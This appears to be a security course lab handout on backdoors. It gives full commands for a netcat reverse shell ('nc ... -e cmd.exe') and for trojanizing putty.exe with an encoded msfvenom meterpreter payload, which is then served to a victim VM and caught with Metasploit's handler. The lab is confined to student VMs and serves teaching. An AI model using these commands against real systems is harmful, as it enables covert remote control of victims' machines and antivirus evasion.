**Lab 8 - Backdoors**

**Objectives**

* Understand the principles of a backdoor on a system.
* Witness the ease of bypassing antivirus and creating your own malware based on legitimate software.

**Pre-Lab**

For this lab, you'll need your Kali and Windows 7 VMs.

1. Using Netcat as a backdoor

* Download NC.exe onto a Windows system by going to your Kali VM's IP in a browser and downloading it from the lab-files folder.
* On your Kali VM, run the following command: nc –l –p 12345

A screenshot of a computer

Description automatically generated

* On the Windows Machine, type the following command at a Command Prompt: nc [Kali VM IP] 12345 –e cmd.exe
* You should now have a basic Windows Command prompt allowing you to traverse the file system

A screenshot of a computer

Description automatically generated

* Run netstat or TCPView (download from Microsoft's Sysinternals) to see what network connections your Windows system has in use

A screenshot of a computer

Description automatically generated

2. Backdooring an exectutable

* In Kali, open a terminal and download putty using wget by typing: wget http://the.earth.li/~sgtatham/putty/0.63/x86/putty.exe
* alternatively you can simply copy the putty.exe file from /var/www/html/lab-files/.
* Use msfvenom to backdoor this executable using the following command: msfvenom -p windows/meterpreter/reverse\_tcp -f exe -e x86/shikata\_ga\_nai -i 25 -b '\x00' -k -x /var/www/html/lab-files/putty.exe LHOST=[Kali IP] LPORT=4444 > evilputty.exe
* The above command will generate an EXE file with the name evilputty.exe. This is our backdoored executable file.
* Copy evilputty.exe into the Kali web directory (/var/www/html/lab-files/) and then start the apache2 service by running service apache2 start

A computer screen shot of a computer screen

Description automatically generated

* Start metasploit by running msfconsole
* Start metasploit's reverse handler to get a reverse connection.
* use exploit/multi/handler
* set payload windows/meterpreter/reverse\_tcp
* set LHOST [Kali IP]
* set LPORT 4444
* exploit

A screenshot of a computer

Description automatically generated

* Distribute the evilputty.exe file onto the victim Windows VM by accessing the Kali VM's IP via a browser by going to http://[Kali IP]/lab-files/evilputty.exe
* Once downloaded in the victim Windows VM, open the executable. You should see a normal running instance of Putty on the Windows system, and a meterpreter session started within your Kali system.

A screenshot of a computer

Description automatically generated